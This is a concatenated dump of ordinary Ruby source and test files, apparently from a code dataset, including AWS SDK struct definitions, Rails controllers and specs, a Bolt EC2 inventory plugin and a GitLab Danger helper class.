# @!attribute [rw] server_import_failure
# The total number of server records in the import file that failed to
# be imported.
# @return [Integer]
#
# @!attribute [rw] application_import_success
# The total number of application records in the import file that were
# successfully imported.
# @return [Integer]
#
# @!attribute [rw] application_import_failure
# The total number of application records in the import file that
# failed to be imported.
# @return [Integer]
#
# @!attribute [rw] errors_and_failed_entries_zip
# A link to a compressed archive folder (in the ZIP format) that
# contains an error log and a file of failed records. You can use
# these two files to quickly identify records that failed, why they
# failed, and correct those records. Afterward, you can upload the
# corrected file to your Amazon S3 bucket and create another import
# task request.
#
# This field also includes authorization information so you can
# confirm the authenticity of the compressed archive before you
# download it.
#
# If some records failed to be imported we recommend that you correct
# the records in the failed entries file and then imports that failed
# entries file. This prevents you from having to correct and update
# the larger original file and attempt importing it again.
# @return [String]
#
class ImportTask < Struct.new(
:import_task_id,
:client_request_token,
:name,
:import_url,
:status,
:import_request_time,
:import_completion_time,
:import_deleted_time,
:server_import_success,
:server_import_failure,
:application_import_success,
:application_import_failure,
:errors_and_failed_entries_zip)
include Aws::Structure
end
# A name-values pair of elements you can use to filter the results when
# querying your import tasks. Currently, wildcards are not supported for
# filters.
#
# <note markdown="1"> When filtering by import status, all other filter values are ignored.
#
# </note>
#
# @note When making an API call, you may pass ImportTaskFilter
# data as a hash:
#
# {
# name: "IMPORT_TASK_ID", # accepts IMPORT_TASK_ID, STATUS, NAME
# values: ["ImportTaskFilterValue"],
# }
#
# @!attribute [rw] name
# The name, status, or import task ID for a specific import task.
# @return [String]
#
# @!attribute [rw] values
# An array of strings that you can provide to match against a specific
# name, status, or import task ID to filter the results for your
# import task queries.
# @return [Array<String>]
#
class ImportTaskFilter < Struct.new(
:name,
:values)
include Aws::Structure
end
# One or more parameters are not valid. Verify the parameters and try
# again.
#
# @!attribute [rw] message
# @return [String]
#
class InvalidParameterException < Struct.new(
:message)
include Aws::Structure
end
# The value of one or more parameters are either invalid or out of
# range. Verify the parameter values and try again.
#
# @!attribute [rw] message
# @return [String]
#
class InvalidParameterValueException < Struct.new(
:message)
include Aws::Structure
end
# @note When making an API call, you may pass ListConfigurationsRequest
# data as a hash:
#
# {
# configuration_type: "SERVER", # required, accepts SERVER, PROCESS, CONNECTION, APPLICATION
# filters: [
# {
# name: "String", # required
# values: ["FilterValue"], # required
# condition: "Condition", # required
# },
# ],
# max_results: 1,
# next_token: "NextToken",
# order_by: [
# {
# field_name: "String", # required
# sort_order: "ASC", # accepts ASC, DESC
# },
# ],
# }
#
# @!attribute [rw] configuration_type
# A valid configuration identified by Application Discovery Service.
# @return [String]
#
# @!attribute [rw] filters
# You can filter the request using various logical operators and a
# *key*-*value* format. For example:
#
# `\{"key": "serverType", "value": "webServer"\}`
#
# For a complete list of filter options and guidance about using them
# with this action, see [Using the ListConfigurations Action][1] in
# the *AWS Application Discovery Service User Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/application-discovery/latest/userguide/discovery-api-queries.html#ListConfigurations
# @return [Array<Types::Filter>]
#
# @!attribute [rw] max_results
# The total number of items to return. The maximum value is 100.
# @return [Integer]
#
# @!attribute [rw] next_token
# Token to retrieve the next set of results. For example, if a
# previous call to ListConfigurations returned 100 items, but you set
# `ListConfigurationsRequest$maxResults` to 10, you received a set of
# 10 results along with a token. Use that token in this query to get
# the next set of 10.
# @return [String]
#
# @!attribute [rw] order_by
# Certain filter criteria return output that can be sorted in
# ascending or descending order. For a list of output characteristics
# for each filter, see [Using the ListConfigurations Action][1] in the
# *AWS Application Discovery Service User Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/application-discovery/latest/userguide/discovery-api-queries.html#ListConfigurations
# @return [Array<Types::OrderByElement>]
#
class ListConfigurationsRequest < Struct.new(
:configuration_type,
:filters,
:max_results,
:next_token,
:order_by)
include Aws::Structure
end
# @!attribute [rw] configurations
# Returns configuration details, including the configuration ID,
# attribute names, and attribute values.
# @return [Array<Hash<String,String>>]
#
# @!attribute [rw] next_token
# Token to retrieve the next set of results. For example, if your call
# to ListConfigurations returned 100 items, but you set
# `ListConfigurationsRequest$maxResults` to 10, you received a set of
# 10 results along with this token. Use this token in the next query
# to retrieve the next set of 10.
# @return [String]
#
class ListConfigurationsResponse < Struct.new(
:configurations,
:next_token)
include Aws::Structure
end
# @note When making an API call, you may pass ListServerNeighborsRequest
# data as a hash:
#
# {
# configuration_id: "ConfigurationId", # required
# port_information_needed: false,
# neighbor_configuration_ids: ["ConfigurationId"],
# max_results: 1,
# next_token: "String",
# }
#
# @!attribute [rw] configuration_id
# Configuration ID of the server for which neighbors are being listed.
# @return [String]
#
# @!attribute [rw] port_information_needed
# Flag to indicate if port and protocol information is needed as part
# of the response.
# @return [Boolean]
#
# @!attribute [rw] neighbor_configuration_ids
# List of configuration IDs to test for one-hop-away.
# @return [Array<String>]
#
# @!attribute [rw] max_results
# Maximum number of results to return in a single page of output.
# @return [Integer]
#
# @!attribute [rw] next_token
# Token to retrieve the next set of results. For example, if you
# previously specified 100 IDs for
# `ListServerNeighborsRequest$neighborConfigurationIds` but set
# `ListServerNeighborsRequest$maxResults` to 10, you received a set of
# 10 results along with a token. Use that token in this query to get
# the next set of 10.
# @return [String]
#
class ListServerNeighborsRequest < Struct.new(
:configuration_id,
:port_information_needed,
:neighbor_configuration_ids,
:max_results,
:next_token)
include Aws::Structure
end
# @!attribute [rw] neighbors
# List of distinct servers that are one hop away from the given
# server.
# @return [Array<Types::NeighborConnectionDetail>]
#
# @!attribute [rw] next_token
# Token to retrieve the next set of results. For example, if you
# specified 100 IDs for
# `ListServerNeighborsRequest$neighborConfigurationIds` but set
# `ListServerNeighborsRequest$maxResults` to 10, you received a set of
# 10 results along with this token. Use this token in the next query
# to retrieve the next set of 10.
# @return [String]
#
# @!attribute [rw] known_dependency_count
# Count of distinct servers that are one hop away from the given
# server.
# @return [Integer]
#
class ListServerNeighborsResponse < Struct.new(
:neighbors,
:next_token,
:known_dependency_count)
include Aws::Structure
end
# Details about neighboring servers.
#
# @!attribute [rw] source_server_id
# The ID of the server that opened the network connection.
# @return [String]
#
# @!attribute [rw] destination_server_id
# The ID of the server that accepted the network connection.
# @return [String]
#
# @!attribute [rw] destination_port
# The destination network port for the connection.
# @return [Integer]
#
# @!attribute [rw] transport_protocol
# The network protocol used for the connection.
# @return [String]
#
# @!attribute [rw] connections_count
# The number of open network connections with the neighboring server.
# @return [Integer]
#
class NeighborConnectionDetail < Struct.new(
:source_server_id,
:destination_server_id,
:destination_port,
:transport_protocol,
:connections_count)
include Aws::Structure
end
# This operation is not permitted.
#
# @!attribute [rw] message
# @return [String]
#
class OperationNotPermittedException < Struct.new(
:message)
include Aws::Structure
end
# A field and direction for ordered output.
#
# @note When making an API call, you may pass OrderByElement
# data as a hash:
#
# {
# field_name: "String", # required
# sort_order: "ASC", # accepts ASC, DESC
# }
#
# @!attribute [rw] field_name
# The field on which to order.
# @return [String]
#
# @!attribute [rw] sort_order
# Ordering direction.
# @return [String]
#
class OrderByElement < Struct.new(
:field_name,
:sort_order)
include Aws::Structure
end
# This issue occurs when the same `clientRequestToken` is used with the
# `StartImportTask` action, but with different parameters. For example,
# you use the same request token but have two different import URLs, you
# can encounter this issue. If the import tasks are meant to be
# different, use a different `clientRequestToken`, and try again.
#
# @!attribute [rw] message
# @return [String]
#
class ResourceInUseException < Struct.new(
:message)
include Aws::Structure
end
# The specified configuration ID was not located. Verify the
# configuration ID and try again.
#
# @!attribute [rw] message
# @return [String]
#
class ResourceNotFoundException < Struct.new(
:message)
include Aws::Structure
end
# The server experienced an internal error. Try again.
#
# @!attribute [rw] message
# @return [String]
#
class ServerInternalErrorException < Struct.new(
:message)
include Aws::Structure
end
# @api private
#
class StartContinuousExportRequest < Aws::EmptyStructure; end
# @!attribute [rw] export_id
# The unique ID assigned to this export.
# @return [String]
#
# @!attribute [rw] s3_bucket
# The name of the s3 bucket where the export data parquet files are
# stored.
# @return [String]
#
# @!attribute [rw] start_time
# The timestamp representing when the continuous export was started.
# @return [Time]
#
# @!attribute [rw] data_source
# The type of data collector used to gather this data (currently only
# offered for AGENT).
# @return [String]
#
# @!attribute [rw] schema_storage_config
# A dictionary which describes how the data is stored.
#
# * `databaseName` - the name of the Glue database used to store the
# schema.
#
# ^
# @return [Hash<String,String>]
#
class StartContinuousExportResponse < Struct.new(
:export_id,
:s3_bucket,
:start_time,
:data_source,
:schema_storage_config)
include Aws::Structure
end
# @note When making an API call, you may pass StartDataCollectionByAgentIdsRequest
# data as a hash:
#
# {
# agent_ids: ["AgentId"], # required
# }
#
# @!attribute [rw] agent_ids
# The IDs of the agents or connectors from which to start collecting
# data. If you send a request to an agent/connector ID that you do not
# have permission to contact, according to your AWS account, the
# service does not throw an exception. Instead, it returns the error
# in the *Description* field. If you send a request to multiple
# agents/connectors and you do not have permission to contact some of
# those agents/connectors, the system does not throw an exception.
# Instead, the system shows `Failed` in the *Description* field.
# @return [Array<String>]
#
class StartDataCollectionByAgentIdsRequest < Struct.new(
:agent_ids)
include Aws::Structure
end
# @!attribute [rw] agents_configuration_status
# Information about agents or the connector that were instructed to
# start collecting data. Information includes the agent/connector ID,
# a description of the operation performed, and whether the
# agent/connector configuration was updated.
# @return [Array<Types::AgentConfigurationStatus>]
#
class StartDataCollectionByAgentIdsResponse < Struct.new(
:agents_configuration_status)
include Aws::Structure
end
# @note When making an API call, you may pass StartExportTaskRequest
# data as a hash:
#
# {
# export_data_format: ["CSV"], # accepts CSV, GRAPHML
# filters: [
# {
# name: "FilterName", # required
# values: ["FilterValue"], # required
# condition: "Condition", # required
# },
# ],
# start_time: Time.now,
# end_time: Time.now,
# }
#
# @!attribute [rw] export_data_format
# The file format for the returned export data. Default value is
# `CSV`. **Note:** *The* `GRAPHML` *option has been deprecated.*
# @return [Array<String>]
#
# @!attribute [rw] filters
# If a filter is present, it selects the single `agentId` of the
# Application Discovery Agent for which data is exported. The
# `agentId` can be found in the results of the `DescribeAgents` API or
# CLI. If no filter is present, `startTime` and `endTime` are ignored
# and exported data includes both Agentless Discovery Connector data
# and summary data from Application Discovery agents.
# @return [Array<Types::ExportFilter>]
#
# @!attribute [rw] start_time
# The start timestamp for exported data from the single Application
# Discovery Agent selected in the filters. If no value is specified,
# data is exported starting from the first data collected by the
# agent.
# @return [Time]
#
# @!attribute [rw] end_time
# The end timestamp for exported data from the single Application
# Discovery Agent selected in the filters. If no value is specified,
# exported data includes the most recent data collected by the agent.
# @return [Time]
#
class StartExportTaskRequest < Struct.new(
:export_data_format,
:filters,
:start_time,
:end_time)
include Aws::Structure
end
# @!attribute [rw] export_id
# A unique identifier used to query the status of an export request.
# @return [String]
#
class StartExportTaskResponse < Struct.new(
:export_id)
include Aws::Structure
end
# @note When making an API call, you may pass StartImportTaskRequest
# data as a hash:
#
# {
# client_request_token: "ClientRequestToken",
# name: "ImportTaskName", # required
# import_url: "ImportURL", # required
# }
#
# @!attribute [rw] client_request_token
# Optional. A unique token that you can provide to prevent the same
# import request from occurring more than once. If you don't provide
# a token, a token is automatically generated.
#
# Sending more than one `StartImportTask` request with the same client
# request token will return information about the original import task
# with that client request token.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.
# @return [String]
#
# @!attribute [rw] name
# A descriptive name for this request. You can use this name to filter
# future requests related to this import task, such as identifying
# applications and servers that were included in this import task. We
# recommend that you use a meaningful name for each import task.
# @return [String]
#
# @!attribute [rw] import_url
# The URL for your import file that you've uploaded to Amazon S3.
#
# <note markdown="1"> If you're using the AWS CLI, this URL is structured as follows:
# `s3://BucketName/ImportFileName.CSV`
#
# </note>
# @return [String]
#
class StartImportTaskRequest < Struct.new(
:client_request_token,
:name,
:import_url)
include Aws::Structure
end
# @!attribute [rw] task
# An array of information related to the import task request including
# status information, times, IDs, the Amazon S3 Object URL for the
# import file, and more.
# @return [Types::ImportTask]
#
class StartImportTaskResponse < Struct.new(
:task)
include Aws::Structure
end
# @note When making an API call, you may pass StopContinuousExportRequest
# data as a hash:
#
# {
# export_id: "ConfigurationsExportId", # required
# }
#
# @!attribute [rw] export_id
# The unique ID assigned to this export.
# @return [String]
#
class StopContinuousExportRequest < Struct.new(
:export_id)
include Aws::Structure
end
# @!attribute [rw] start_time
# Timestamp that represents when this continuous export started
# collecting data.
# @return [Time]
#
# @!attribute [rw] stop_time
# Timestamp that represents when this continuous export was stopped.
# @return [Time]
#
class StopContinuousExportResponse < Struct.new(
:start_time,
:stop_time)
include Aws::Structure
end
# @note When making an API call, you may pass StopDataCollectionByAgentIdsRequest
# data as a hash:
#
# {
# agent_ids: ["AgentId"], # required
# }
#
# @!attribute [rw] agent_ids
# The IDs of the agents or connectors from which to stop collecting
# data.
# @return [Array<String>]
#
class StopDataCollectionByAgentIdsRequest < Struct.new(
:agent_ids)
include Aws::Structure
end
# @!attribute [rw] agents_configuration_status
# Information about the agents or connector that were instructed to
# stop collecting data. Information includes the agent/connector ID, a
# description of the operation performed, and whether the
# agent/connector configuration was updated.
# @return [Array<Types::AgentConfigurationStatus>]
#
class StopDataCollectionByAgentIdsResponse < Struct.new(
:agents_configuration_status)
include Aws::Structure
end
# Metadata that help you categorize IT assets.
#
# @note When making an API call, you may pass Tag
# data as a hash:
#
# {
# key: "TagKey", # required
# value: "TagValue", # required
# }
#
# @!attribute [rw] key
# The type of tag on which to filter.
# @return [String]
#
# @!attribute [rw] value
# A value for a tag key on which to filter.
# @return [String]
#
class Tag < Struct.new(
:key,
:value)
include Aws::Structure
end
# The tag filter. Valid names are: `tagKey`, `tagValue`,
# `configurationId`.
#
# @note When making an API call, you may pass TagFilter
# data as a hash:
#
# {
# name: "FilterName", # required
# values: ["FilterValue"], # required
# }
#
# @!attribute [rw] name
# A name of the tag filter.
# @return [String]
#
# @!attribute [rw] values
# Values for the tag filter.
# @return [Array<String>]
#
class TagFilter < Struct.new(
:name,
:values)
include Aws::Structure
end
# @note When making an API call, you may pass UpdateApplicationRequest
# data as a hash:
#
# {
# configuration_id: "ApplicationId", # required
# name: "String",
# description: "String",
# }
#
# @!attribute [rw] configuration_id
# Configuration ID of the application to be updated.
# @return [String]
#
# @!attribute [rw] name
# New name of the application to be updated.
# @return [String]
#
# @!attribute [rw] description
# New description of the application to be updated.
# @return [String]
#
class UpdateApplicationRequest < Struct.new(
:configuration_id,
:name,
:description)
include Aws::Structure
end
class UpdateApplicationResponse < Aws::EmptyStructure; end
end
end
| 32.889706 | 125 | 0.620756 |
01458c0f08929e7aefbac5c4d8bfed87bb06043c | 2,085 | # -*- coding: utf-8 -*-
require 'spec_helper'
describe Api::ConfigController do
let(:member) do
FactoryGirl.create(:member, password: 'mala', password_confirmation: 'mala', config_dump: { 'use_wait' => '0' })
end
context 'logged in' do
describe '.getter' do
it 'renders json' do
get :getter, {}, { member_id: member.id }
expect(ActiveSupport::JSON.decode(response.body)).to include('use_wait' => '0', 'save_pin_limit' => Settings.save_pin_limit)
end
end
describe '.setter' do
it 'upadtes member' do
expect {
post :setter, { use_wait: 42 }, { member_id: member.id }
}.to change {
Member.where(id: member.id).first.config_dump['use_wait'].to_i
}.from(0).to(42)
end
it 'renders json' do
post :setter, { use_wait: 42 }, { member_id: member.id }
expect(ActiveSupport::JSON.decode(response.body)).to include('use_wait' => '42')
end
end
end
context 'not logged in' do
describe '.getter' do
it 'renders empty' do
get :getter, {}, {}
expect(response.body).to be_blank
end
end
describe '.setter' do
it 'renders empty' do
post :setter, { use_wait: 42 }, {}
expect(response.body).to be_blank
end
it 'does not change value' do
expect {
post :setter, { use_wait: 42 }, {}
}.to_not change {
Member.where(id: member.id).first.config_dump['use_wait']
}
end
end
end
context 'not logged in' do
describe '.getter' do
it 'renders empty' do
get :getter, {}, {}
expect(response.body).to be_blank
end
end
describe '.setter' do
it 'renders empty' do
post :setter, { use_wait: 42 }, {}
expect(response.body).to be_blank
end
it 'does not change value' do
expect {
post :setter, { use_wait: 42 }, {}
}.to_not change {
Member.where(id: member.id).first.config_dump['use_wait'].to_i
}
end
end
end
end
| 25.740741 | 132 | 0.567386 |
b9d1b305af0b05e5b23d57112677625de5e1a74b | 319 | require "test_helper"
module Fiesta
class TimestampNormalizerTest < Minitest::Test
def test_normalizing_timestamps
time = Time.parse("2015-10-09T14:50:23Z")
assert_equal time, TimestampNormalizer.new("20151009145023").run
assert_equal time, TimestampNormalizer.new(time).run
end
end
end
| 24.538462 | 70 | 0.746082 |
1cf31f3c814ed3c8c4f1e249bc7b4cbf27fa05f9 | 2,195 | #---
# Excerpted from "Ruby on Rails, 2nd Ed."
# We make no guarantees that this code is fit for any purpose.
# Visit http://www.editions-eyrolles.com/Livre/9782212120790/ for more book information.
#---
require File.dirname(__FILE__) + '/../test_helper'
require 'admin_controller'
# Re-raise errors caught by the controller.
class AdminController; def rescue_action(e) raise e end; end
class AdminControllerTest < Test::Unit::TestCase
fixtures :products
def setup
@controller = AdminController.new
@request = ActionController::TestRequest.new
@response = ActionController::TestResponse.new
end
def test_index
get :index
assert_response :success
assert_template 'list'
end
def test_list
get :list
assert_response :success
assert_template 'list'
assert_not_nil assigns(:products)
end
def test_show
get :show, :id => 1
assert_response :success
assert_template 'show'
assert_not_nil assigns(:product)
assert assigns(:product).valid?
end
def test_new
get :new
assert_response :success
assert_template 'new'
assert_not_nil assigns(:product)
end
def test_create
num_products = Product.count
post :create, :product => { :title => ' Lorem ipsum dolor.',
:description => 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit',
:image_url => '/images/lorem.jpg',
:price => 10.00}
assert_response :redirect
assert_redirected_to :action => 'list'
assert_equal num_products + 1, Product.count
end
def test_edit
get :edit, :id => 1
assert_response :success
assert_template 'edit'
assert_not_nil assigns(:product)
assert assigns(:product).valid?
end
def test_update
post :update, :id => 1
assert_response :redirect
assert_redirected_to :action => 'show', :id => 1
end
def test_destroy
assert_not_nil Product.find(1)
post :destroy, :id => 1
assert_response :redirect
assert_redirected_to :action => 'list'
assert_raise(ActiveRecord::RecordNotFound) {
Product.find(1)
}
end
end
| 22.628866 | 109 | 0.662415 |
6a90be43dae47233d3f8fef68a9ac13797da64b7 | 2,098 | class OrdersController < ApplicationController
before_action :set_order, only: [:show, :edit, :update, :destroy]
# GET /orders
# GET /orders.json
def index
@orders = Order.all
end
# GET /orders/1
# GET /orders/1.json
def show
@food_item = FoodItem.find(@order.food_item)
@order = Order.find(params[:id])
@set_coupon = false
if @order.coupon_code == 'CODERSCHOOL'
@set_coupon = true
end
end
# GET /orders/new
def new
@food_item = FoodItem.find(params[:food_id])
@order = Order.new
end
# GET /orders/1/edit
def edit
end
# POST /orders
# POST /orders.json
def create
@order = Order.new(order_params)
respond_to do |format|
if @order.save
format.html { redirect_to @order, notice: 'Thanks for your purchase' }
format.json { render :show, status: :created, location: @order }
else
format.html { render :new }
format.json { render json: @order.errors, status: :unprocessable_entity }
end
end
end
# PATCH/PUT /orders/1
# PATCH/PUT /orders/1.json
def update
respond_to do |format|
if @order.update(order_params)
format.html { redirect_to @order, notice: 'Order was successfully updated.' }
format.json { render :show, status: :ok, location: @order }
else
format.html { render :edit }
format.json { render json: @order.errors, status: :unprocessable_entity }
end
end
end
# DELETE /orders/1
# DELETE /orders/1.json
def destroy
@order.destroy
respond_to do |format|
format.html { redirect_to orders_url, notice: 'Order was successfully destroyed.' }
format.json { head :no_content }
end
end
private
# Use callbacks to share common setup or constraints between actions.
def set_order
@order = Order.find(params[:id])
end
# Never trust parameters from the scary internet, only allow the white list through.
def order_params
params.require(:order).permit(:name, :food_item, :qty, :email, :address, :phone, :coupon_code)
end
end
| 25.585366 | 100 | 0.645853 |
0800feeb2c19fdf46c71a2e06ba0b321dff9afbc | 6,019 | require 'rails_helper'
RSpec.describe Admin::NotesController, type: :controller, admin: true do
let!(:petition) { FactoryBot.create(:open_petition) }
describe 'not logged in' do
describe 'GET /show' do
it 'redirects to the login page' do
get :show, petition_id: petition.id
expect(response).to redirect_to('https://moderate.petition.parliament.uk/admin/login')
end
end
describe 'PATCH /update' do
it 'redirects to the login page' do
patch :update, petition_id: petition.id
expect(response).to redirect_to('https://moderate.petition.parliament.uk/admin/login')
end
end
end
context 'logged in as moderator user but need to reset password' do
let(:user) { FactoryBot.create(:moderator_user, force_password_reset: true) }
before { login_as(user) }
describe 'GET /show' do
it 'redirects to edit profile page' do
get :show, petition_id: petition.id
expect(response).to redirect_to("https://moderate.petition.parliament.uk/admin/profile/#{user.id}/edit")
end
end
describe 'PATCH /update' do
it 'redirects to edit profile page' do
patch :update, petition_id: petition.id
expect(response).to redirect_to("https://moderate.petition.parliament.uk/admin/profile/#{user.id}/edit")
end
end
end
describe "logged in as moderator user" do
let(:user) { FactoryBot.create(:moderator_user) }
before { login_as(user) }
describe 'GET /show' do
shared_examples_for 'viewing notes for a petition' do
it 'fetches the requested petition' do
get :show, petition_id: petition.id
expect(assigns(:petition)).to eq petition
end
it 'responds successfully and renders the petitions/show template' do
get :show, petition_id: petition.id
expect(response).to be_success
expect(response).to render_template('petitions/show')
end
end
describe 'for an open petition' do
it_behaves_like 'viewing notes for a petition'
end
describe 'for a pending petition' do
before { petition.update_column(:state, Petition::PENDING_STATE) }
it_behaves_like 'viewing notes for a petition'
end
describe 'for a validated petition' do
before { petition.update_column(:state, Petition::VALIDATED_STATE) }
it_behaves_like 'viewing notes for a petition'
end
describe 'for a sponsored petition' do
before { petition.update_column(:state, Petition::SPONSORED_STATE) }
it_behaves_like 'viewing notes for a petition'
end
describe 'for a rejected petition' do
before { petition.update_columns(state: Petition::REJECTED_STATE) }
it_behaves_like 'viewing notes for a petition'
end
describe 'for a hidden petition' do
before { petition.update_column(:state, Petition::HIDDEN_STATE) }
it_behaves_like 'viewing notes for a petition'
end
end
describe 'PATCH /update' do
let(:notes_attributes) do
{
details: 'This seems fine, just need to get legal to give it the once over before letting it through.'
}
end
def do_patch(overrides = {})
params = { petition_id: petition.id, note: notes_attributes }
patch :update, params.merge(overrides)
end
shared_examples_for 'updating notes for a petition' do
it 'fetches the requested petition' do
do_patch
expect(assigns(:petition)).to eq petition
end
context 'with valid params' do
it 'redirects to the petition show page' do
do_patch
expect(response).to redirect_to "https://moderate.petition.parliament.uk/admin/petitions/#{petition.id}"
end
it 'stores the supplied notes in the db' do
do_patch
petition.reload
expect(petition.note.details).to eq notes_attributes[:details]
end
end
end
describe 'for an open petition' do
it_behaves_like 'updating notes for a petition'
end
describe 'for a pending petition' do
before { petition.update_column(:state, Petition::PENDING_STATE) }
it_behaves_like 'updating notes for a petition'
end
describe 'for a validated petition' do
before { petition.update_column(:state, Petition::VALIDATED_STATE) }
it_behaves_like 'updating notes for a petition'
end
describe 'for a sponsored petition' do
before { petition.update_column(:state, Petition::SPONSORED_STATE) }
it_behaves_like 'updating notes for a petition'
end
describe 'for a rejected petition' do
before { petition.update_columns(state: Petition::REJECTED_STATE) }
it_behaves_like 'updating notes for a petition'
end
describe 'for a hidden petition' do
before { petition.update_column(:state, Petition::HIDDEN_STATE) }
it_behaves_like 'updating notes for a petition'
end
context "when two moderators update the notes for the first time simultaneously" do
let(:note) { FactoryBot.build(:note, details: "", petition: petition) }
before do
allow(Petition).to receive(:find).with(petition.id.to_s).and_return(petition)
end
it "doesn't raise an ActiveRecord::RecordNotUnique error" do
expect {
expect(petition.note).to be_nil
patch :update, petition_id: petition.id, note: { details: "update 1" }
expect(petition.note.details).to eq("update 1")
allow(petition).to receive(:note).and_return(nil, petition.note)
allow(petition).to receive(:build_note).and_return(note)
patch :update, petition_id: petition.id, note: { details: "update 2" }
expect(petition.note(true).details).to eq("update 2")
}.not_to raise_error
end
end
end
end
end
| 34.198864 | 116 | 0.651105 |
4a559fb63b9cf50825276ddc15967d69646bc6f0 | 33 | class ShippingCharge < Charge
end | 16.5 | 29 | 0.848485 |
629c78c7f2b5ca0ca6cff24d639aca0c1c8ce728 | 3,021 | # frozen_string_literal: true
require 'json'
module Bolt
class Plugin
class Aws
class EC2
attr_accessor :client
attr_reader :config
def initialize(config)
require 'aws-sdk-ec2'
@config = config
@logger = Logging.logger[self]
end
def name
'aws::ec2'
end
def hooks
%w[inventory_targets]
end
def config_client(opts)
return client if client
options = {}
if opts.key?('region')
options[:region] = opts['region']
end
if opts.key?('profile')
options[:profile] = opts['profile']
end
if config['credentials']
creds = File.expand_path(config['credentials'])
if File.exist?(creds)
options[:credentials] = ::Aws::SharedCredentials.new(path: creds)
else
raise Bolt::ValidationError, "Cannot load credentials file #{config['credentials']}"
end
end
::Aws::EC2::Client.new(options)
end
def inventory_targets(opts)
client = config_client(opts)
resource = ::Aws::EC2::Resource.new(client: client)
# Retrieve a list of EC2 instances and create a list of targets
# Note: It doesn't seem possible to filter stubbed responses...
resource.instances(filters: opts['filters']).map do |instance|
next unless instance.state.name == 'running'
target = {}
if opts.key?('uri')
uri = lookup(instance, opts['uri'])
target['uri'] = uri if uri
end
if opts.key?('name')
real_name = lookup(instance, opts['name'])
target['name'] = real_name if real_name
end
if opts.key?('config')
target['config'] = resolve_config(instance, opts['config'])
end
target if target['uri'] || target['name']
end.compact
end
# Look for an instance attribute specified in the inventory file
def lookup(instance, attribute)
value = instance.data.respond_to?(attribute) ? instance.data[attribute] : nil
unless value
warn_missing_attribute(instance, attribute)
end
value
end
def warn_missing_attribute(instance, attribute)
@logger.warn("Could not find attribute #{attribute} of instance #{instance.instance_id}")
end
# Walk the "template" config mapping provided in the plugin config and
# replace all values with the corresponding value from the resource
# parameters.
def resolve_config(name, config_template)
Bolt::Util.walk_vals(config_template) do |value|
if value.is_a?(String)
lookup(name, value)
else
value
end
end
end
end
end
end
end
| 29.048077 | 99 | 0.549487 |
1c1763454a5a75ef6002b7f6e4d9c4c040cb6069 | 980 | # frozen_string_literal: true
class GitlabDanger
LOCAL_RULES ||= %w[
changes_size
documentation
frozen_string
duplicate_yarn_dependencies
prettier
eslint
karma
database
commit_messages
telemetry
utility_css
].freeze
CI_ONLY_RULES ||= %w[
metadata
changelog
specs
roulette
ce_ee_vue_templates
].freeze
MESSAGE_PREFIX = '==>'.freeze
attr_reader :gitlab_danger_helper
def initialize(gitlab_danger_helper)
@gitlab_danger_helper = gitlab_danger_helper
end
def self.local_warning_message
"#{MESSAGE_PREFIX} Only the following Danger rules can be run locally: #{LOCAL_RULES.join(', ')}"
end
def self.success_message
"#{MESSAGE_PREFIX} No Danger rule violations!"
end
def rule_names
ci? ? LOCAL_RULES | CI_ONLY_RULES : LOCAL_RULES
end
def html_link(str)
self.ci? ? gitlab_danger_helper.html_link(str) : str
end
def ci?
!gitlab_danger_helper.nil?
end
end
| 18.148148 | 101 | 0.706122 |
f7b833f3e5bbb629564f2e568b5c1421935ad64b | 46 | module OdptCommon::Modules::MethodMissing
end
| 15.333333 | 41 | 0.847826 |
39d30f2e65b87a54950e1901be8ad0d348eefe88 | 3,877 | require 'rails_helper'
# This spec was generated by rspec-rails when you ran the scaffold generator.
# It demonstrates how one might use RSpec to test the controller code that
# was generated by Rails when you ran the scaffold generator.
#
# It assumes that the implementation code is generated by the rails scaffold
# generator. If you are using any extension libraries to generate different
# controller code, this generated spec may or may not pass.
#
# It only uses APIs available in rails and/or rspec-rails. There are a number
# of tools you can use to make these specs even more expressive, but we're
# sticking to rails and rspec-rails APIs to keep things simple and stable.
RSpec.describe "/blogs", type: :request do
# Blog. As you add validations to Blog, be sure to
# adjust the attributes here as well.
let(:valid_attributes) {
skip("Add a hash of attributes valid for your model")
}
let(:invalid_attributes) {
skip("Add a hash of attributes invalid for your model")
}
describe "GET /index" do
it "renders a successful response" do
Blog.create! valid_attributes
get blogs_url
expect(response).to be_successful
end
end
describe "GET /show" do
it "renders a successful response" do
blog = Blog.create! valid_attributes
get blog_url(blog)
expect(response).to be_successful
end
end
describe "GET /new" do
it "renders a successful response" do
get new_blog_url
expect(response).to be_successful
end
end
describe "GET /edit" do
it "render a successful response" do
blog = Blog.create! valid_attributes
get edit_blog_url(blog)
expect(response).to be_successful
end
end
describe "POST /create" do
context "with valid parameters" do
it "creates a new Blog" do
expect {
post blogs_url, params: { blog: valid_attributes }
}.to change(Blog, :count).by(1)
end
it "redirects to the created blog" do
post blogs_url, params: { blog: valid_attributes }
expect(response).to redirect_to(blog_url(Blog.last))
end
end
context "with invalid parameters" do
it "does not create a new Blog" do
expect {
post blogs_url, params: { blog: invalid_attributes }
}.to change(Blog, :count).by(0)
end
it "renders a successful response (i.e. to display the 'new' template)" do
post blogs_url, params: { blog: invalid_attributes }
expect(response).to be_successful
end
end
end
describe "PATCH /update" do
context "with valid parameters" do
let(:new_attributes) {
skip("Add a hash of attributes valid for your model")
}
it "updates the requested blog" do
blog = Blog.create! valid_attributes
patch blog_url(blog), params: { blog: new_attributes }
blog.reload
skip("Add assertions for updated state")
end
it "redirects to the blog" do
blog = Blog.create! valid_attributes
patch blog_url(blog), params: { blog: new_attributes }
blog.reload
expect(response).to redirect_to(blog_url(blog))
end
end
context "with invalid parameters" do
it "renders a successful response (i.e. to display the 'edit' template)" do
blog = Blog.create! valid_attributes
patch blog_url(blog), params: { blog: invalid_attributes }
expect(response).to be_successful
end
end
end
describe "DELETE /destroy" do
it "destroys the requested blog" do
blog = Blog.create! valid_attributes
expect {
delete blog_url(blog)
}.to change(Blog, :count).by(-1)
end
it "redirects to the blogs list" do
blog = Blog.create! valid_attributes
delete blog_url(blog)
expect(response).to redirect_to(blogs_url)
end
end
end
| 29.823077 | 81 | 0.667784 |
612cca75e3badcba9d1aa067297044c6f74a2c84 | 309 | module SignalFx
module Tracing
module Compat
def self.apply
@compat.each { |mod| mod.apply } if @compat
end
def self.add_compat(mod)
@compat = [] unless @compat
@compat.push(mod)
end
end
end
end
require 'signalfx/tracing/compat/phusion_passenger'
| 18.176471 | 51 | 0.618123 |
